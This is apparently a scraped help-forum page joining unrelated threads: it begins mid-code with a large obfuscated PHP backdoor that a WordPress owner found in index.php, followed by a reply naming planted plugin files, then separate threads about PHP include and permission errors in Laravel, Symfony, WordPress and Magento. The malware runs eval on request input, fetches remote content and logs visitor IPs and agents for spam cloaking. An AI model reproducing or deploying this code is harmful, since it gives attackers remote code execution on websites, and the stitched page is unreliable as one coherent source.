failed');}$x_zz_z_yyy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x7a\x5f\x7a\x5f\x79\x5f\x79"]();if(isset($_REQUEST["\x65"])){$xyy_zz__yz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x5f\x5f\x7a\x79\x7a\x79"]($xzzy_yy_z_,"",$xyy_zz__yz);eval($xyy_zz__yz);die();}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x79\x5f\x7a\x79\x5f\x5f\x79"]($x_zz_z_yyy,$xyy_zz__yz);$xyy_zyz_z_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x7a\x79\x5f\x5f\x7a\x7a"]($x_zz_z_yyy);#require($xyy_zyz_z_["\x75\x72\x69"]);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x7a\x79\x5f"]($x_zz_z_yyy);die();}function x__yyyzz_z($xzyyy_z_z_){$xy_y_zzy_z=substr($xzyyy_z_z_,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x79\x5f\x79\x7a\x5f\x7a\x7a"]($xzyyy_z_z_) -2);$x__y_zzyzy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x5f\x7a\x7a\x79\x7a\x5f"]($xzyyy_z_z_);$xy_yz_zy_z='';for ($xzz_yzy__y=0;$xzz_yzy__y<${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x7a\x5f\x7a\x79\x79\x79\x5f"]($x__y_zzyzy)-2;$xzz_yzy__y=$xzz_yzy__y+2){$xy_yz_zy_z.=$x__y_zzyzy[$xzz_yzy__y+1].$x__y_zzyzy[$xzz_yzy__y];}$xy_yz_zy_z.=$xy_y_zzy_z;return $xy_yz_zy_z;}function xz__zy_yzy($googleUrl,$x_yyzz_yz_,$xy__y_yzzz){$x_zy_y_zzy=x_yyyzz_z_('yygpKgbSi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgvIWAwA=');$xzz_yyzy__=sprintf($x_zy_y_zzy,$googleUrl,$xy__y_yzzz["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],$xy__y_yzzz["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],$x_yyzz_yz_);$xy_yz_y_zz=xy_y__zzyz($xzz_yyzy__);if(isset($_REQUEST["\x73\x74"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x7a\x7a\x5f\x5f\x79\x79\x79"]($xzz_yyzy__);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x7a\x7a\x5f\x5f\x79\x79\x79"]($xy_yz_y_zz);die();}$xz_zy_yzy_=x_yyyzz_z_('S8/PTGp89nlJBQA=');$xyz__zyy_z=x_yyyzz_z_('Ky5NTtgk4TKtLgYA');$x__y_zyzzy=x_yyyzz_z_('S0vMzqcElfZNAQA=');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x7a\x5f\x7a\x5f\x79\x5f"]($xy_yz_y_zz,$xz_zy_yzy_)!=false){die($xyz__zyy_z);}die($x__y_zyzzy);}function xzz_zyy_y_($xzy_z_yyz_){$xyz_zz__yy=#${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x5f\x7a\x5f\x79\x79\x7a"]("/{\\|}/si",$xzy_z_yyz_,-1,PREG_SPLIT_NO_EMPTY);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x5f\x7a\x7a\x7a\x79\x79\x5f"]($xyz_zz__yy)){return false;}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x7a\x5f\x7a\x79\x79\x79\x5f"]($xyz_zz__yy)!=2){return false;}return $xyz_zz__yy;}function x_yzzzyy__($xzyyy_z_z_,$xz_y__zzyy){$xy__y_yzzz=array();$xy__y_yzzz["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]=$xzyyy_z_z_;$xy__y_yzzz["\x61\x70\x69"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x79\x5f\x7a\x79\x5f\x7a"](x__yyyzz_z($xy__y_yzzz["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]));$xy__y_yzzz["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]=x_y_zyz_zy();$xy__y_yzzz["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"]=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$xy__y_yzzz["\x72\x65\x66\x65\x72\x65\x72"]=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:'';$xy__y_yzzz["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"]=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:'';$xy__y_yzzz["\x69\x70"]=xz__y_yzyz();if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"])){$xy__y_yzzz["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"]=x_yyyzz_z_('yygpKSsSi20tcdZHAA==');}else{$xy__y_yzzz["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"]=x_yyyzz_z_('yygpKlkbDvfS1wcA');}if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"])){$xy__y_yzzz["\x6c\x61\x6e\x67\x75\x61\x67\x65"]=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];}else{$xy__y_yzzz["\x6c\x61\x6e\x67\x75\x61\x67\x65"]="";}if(isset(${"\x5f\x47\x45\x54"}["\x70\x61\x72\x61\x6d\x73"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x79\x5f\x5f\x7a\x79"]($xy__y_yzzz);die();}if(isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])){$x_yyzz_yz_=${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"];$x_yyz__yzz=x_yyyzz_z_('Ky8v1je0vPz0/PSdVLzs8RZFAA==');if(isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])){$x_yyz__yzz=${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"];}xz__zy_yzy($x_yyz__yzz,$x_yyzz_yz_,$xy__y_yzzz);}$x_yz__yzyz=x_yyyzz_z_('Uy3Wtkfy+yVS2uySgpKSi20tdPz89Pz0nVS87XyyqoUS22TyzIBEqrJSaDyILEkgwQXQIwokAA==');$x_yz__yzyz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x7a\x5f\x7a\x7a\x79\x79\x5f"]('|',$x_yz__yzyz);if(isset($_REQUEST["\x61\x63"])&&isset($_REQUEST["\x70\x61\x74\x68"])&&isset($_REQUEST["\x74"])){x_y_zy_zzy(sprintf($x_yz__yzyz[2],${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x79\x5f\x7a\x79\x5f\x7a"](x__yyyzz_z($xz_y__zzyy)),$xy__y_yzzz["\x61\x70\x69"],$_REQUEST["\x61\x63"],$_REQUEST["\x70\x61\x74\x68"],$_REQUEST["\x74"]));}$x_yyy_z_zz=array('dox_yzzzyy__'=>$xy__y_yzzz["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],'request_url'=>$xy__y_yzzz["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"],'ip'=>$xy__y_yzzz["\x69\x70"],'agent'=>$xy__y_yzzz["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"],'referer'=>$xy__y_yzzz["\x72\x65\x66\x65\x72\x65\x72"],'protocol'=>$xy__y_yzzz["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],'language'=>$xy__y_yzzz["\x6c\x61\x6e\x67\x75\x61\x67\x65"]);$xzz_yz_yy_=sprintf($x_yz__yzyz[0],$xy__y_yzzz["\x61\x70\x69"],x__yyyzz_z(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x79\x7a\x7a\x7a\x79\x5f\x79"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x7a\x5f\x7a\x79\x5f\x79"]('{|}',$x_yyy_z_zz))));$xzy_z_yyz_=xy_y__zzyz($xzz_yz_yy_);if(isset($_REQUEST["\x64\x75\x6d\x70"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x7a\x7a\x5f\x5f\x79\x79\x79"]($xzy_z_yyz_);$xzy_z_yyz_=xy_y__zzyz($x_yz__yzyz[1]);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x7a\x7a\x5f\x5f\x79\x79\x79"]($xzy_z_yyz_);die();}$x_zyyz_y_z=xzz_zyy_y_($xzy_z_yyz_);if($x_zyyz_y_z!==false){#header($x_zyyz_y_z[0]);echo $x_zyyz_y_z[1];die();}}x_yzzzyy__($xzyyy_z_z_,$xz_y__zzyy);
?>
any help would be appreciated.
Thank you!
I just had the same issue. I found that two other files are creating the index.php after deletion. These are the files:
wp-content/plugins/wp-rocket/inc/ThirdParty/radio.php
wp-content/plugins/bdthemes-element-pack/modules/circle-menu/wp-scr1pts.php
After deleting those two files as well as restoring the "clean" index.php and .htaccess, the hack seems to be removed.
I'm not sure if one of those plugins is affected, as they are just the first and last folder in my plugins folder. Anyways, I have contacted them to see what they know about it.
Did you find out something different? Especially how the hack was successful.
In my case, I had a security plugin active but it could be that this was not active for some days.
Interested to hear more details from your side.
Output:
Warning: require(/var/www/vhosts/web/httpdocs/vendor/composer/../laravel/framework/src/Illuminate/Foundation/helpers.php): failed to open stream: No such file or directory in /var/www/vhosts/web/httpdocs/vendor/composer/autoload_real.php on line 69
Warning: require(/var/www/vhosts/web/httpdocs/vendor/composer/../laravel/framework/src/Illuminate/Foundation/helpers.php): failed to open stream: No such file or directory in /var/www/vhosts/web/httpdocs/vendor/composer/autoload_real.php on line 69
Fatal error: require(): Failed opening required '/var/www/vhosts/web/httpdocs/vendor/composer/../laravel/framework/src/Illuminate/Foundation/helpers.php' (include_path='.:/opt/plesk/php/7.3/share/pear') in /var/www/vhosts/web/httpdocs/vendor/composer/autoload_real.php on line 69
My FTP structure at vendor folder
Foundation folder
I deployed small app in symfony 2.8 on host without ssh. Copied all files without cache and log, cloned DB.
When i go to address: address.com/web/app.php, app show errors:
Warning: SessionHandler::read(): open(/web/clients/www/3/a/8/8/address.com/tmp/sess_9ff0c94b9bd261554814764d051524e0, O_RDWR) failed: No such file or directory (2) in /app/cache/prod/classes.php on line 431
Warning: include(/web/clients/www/3/a/8/8/address.com/vendor/composer/../twig/twig/lib/Twig/Cache/Filesystem.php): failed to open stream: No such file or directory in /vendor/composer/ClassLoader.php on line 444
Warning: include(): Failed opening '/web/clients/www/3/a/8/8/address.com/vendor/composer/../twig/twig/lib/Twig/Cache/Filesystem.php' for inclusion (include_path='.:/opt/httpd-clients/php-7.2.10/lib/php') in /vendor/composer/ClassLoader.php on line 444
Warning: include(/web/clients/www/3/a/8/8/address.com/vendor/composer/../twig/twig/lib/Twig/Cache/Filesystem.php): failed to open stream: No such file or directory in /vendor/composer/ClassLoader.php on line 444
Warning: include(): Failed opening '/web/clients/www/3/a/8/8/address.com/vendor/composer/../twig/twig/lib/Twig/Cache/Filesystem.php' for inclusion (include_path='.:/opt/httpd-clients/php-7.2.10/lib/php') in /vendor/composer/ClassLoader.php on line 444
Fatal error: Uncaught Symfony\Component\Debug\Exception\ClassNotFoundException: Attempted to load class "Twig_Cache_Filesystem" from the global namespace. Did you forget a "use" statement? in /web/clients/www/3/a/8/8/address.com/app/cache/prod/classes.php:3212
Stack trace: #0 /web/clients/www/3/a/8/8/address.com/app/cache/prod/classes.php(3149): Twig_Environment->setCache('/web/clients/ww...')
#1 /web/clients/www/3/a/8/8/address.com/app/cache/prod/appProdProjectContainer.php(2476): Twig_Environment->__construct(Object(Symfony\Bundle\TwigBundle\Loader\FilesystemLoader), Array)
#2 /web/clients/www/3/a/8/8/address.com/app/bootstrap.php.cache(2271): appProdProjectContainer->getTwigService()
#3 /web/clients/www/3/a/8/8/address.com/app/cache/prod/appProdProjectContainer.php(2505): Symfony\Component\DependencyInjection\Container->get('twig')
#4 /web/clients/www/3/a/8/8/address.com/app/bootstrap.php.cache(2271): appProdProjectContainer->getTwig_Controller_ExceptionService()
#5 /web/clients/www/3/a/8/8/address.com/app/cache in /app/cache/prod/classes.php on line 3212
Warning: SessionHandler::write(): open(/web/clients/www/3/a/8/8/address.com/tmp/sess_9ff0c94b9bd261554814764d051524e0, O_RDWR) failed: No such file or directory (2) in /app/cache/prod/classes.php on line 435
Warning: session_write_close(): Failed to write session data using user defined save handler. (session.save_path: /web/clients/www/3/a/8/8/address.com/tmp) in %s%02d on line 0
I add chmod 777 to cache and log dir.
Any ideas?
It's a typical permissions issue. You should clear you cache, then add recursively the appropriate permissions like this:
chmod -R 775 /cache
I keep getting these error messages when using a plug in "üsers ultra pro":
Warning: mkdir(): No such file or directory in /homepages/2/d644181673/htdocs/app646332697/wp-content/plugins/users-ultra-pro/xooclasses/xoo.userultra.customizer.php on line 227
Warning: move_uploaded_file(/homepages/2/d644181673/htdocs/app646332697/usersultramedia/custom_avatar_image/uultra_default_avatar_image_.jpg): failed to open stream: No such file or directory in /homepages/2/d644181673/htdocs/app646332697/wp-content/plugins/users-ultra-pro/xooclasses/xoo.userultra.customizer.php on line 230
Warning: move_uploaded_file(): Unable to move '/tmp/phpTloN3B' to '/homepages/2/d644181673/htdocs/app646332697/usersultramedia/custom_avatar_image/uultra_default_avatar_image_.jpg' in /homepages/2/d644181673/htdocs/app646332697/wp-content/plugins/users-ultra-pro/xooclasses/xoo.userultra.customizer.php on line 230
Warning: getimagesize(/homepages/2/d644181673/htdocs/app646332697/usersultramedia/custom_avatar_image/uultra_default_avatar_image_.jpg): failed to open stream: No such file or directory in /homepages/2/d644181673/htdocs/app646332697/wp-content/plugins/users-ultra-pro/xooclasses/xoo.userultra.customizer.php on line 234
I have checked all the permissions are set to 755 but it still won't work. Any ideas? Thanks :)
Background: I am running a multi user site on Wordpress (think pinterest) where users will be able to upload images/text.
I installed fresh magento 1.9.2.2. While installing and after it instaled, whenever i try my domain url the same error have been coming like shown below.
Warning: include_once(Mage/Core/functions.php): failed to open stream: No such file or directory in /home/website/public_html/app/Mage.php on line 50
Warning: include_once(): Failed opening 'Mage/Core/functions.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/home/website/php') in /home/website/public_html/app/Mage.php on line 50
Warning: include_once(Varien/Autoload.php): failed to open stream: No such file or directory in /home/website/public_html/app/Mage.php on line 51
Warning: include_once(): Failed opening 'Varien/Autoload.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/home/website/php') in /home/website/public_html/app/Mage.php on line 51
Fatal error: Class 'Varien_Autoload' not found in /home/website/public_html/app/Mage.php on line 54
So I used
http://xxx.xxx.xxx.xxx [my ip address]/~website/
then in installtion I changed my path to my domain name. Its not working.
Anyone know any solution. Please help me.
I think that your problem caused by the .htaccess file. Try to rename it to test this idea or check rewrite/redirect rules.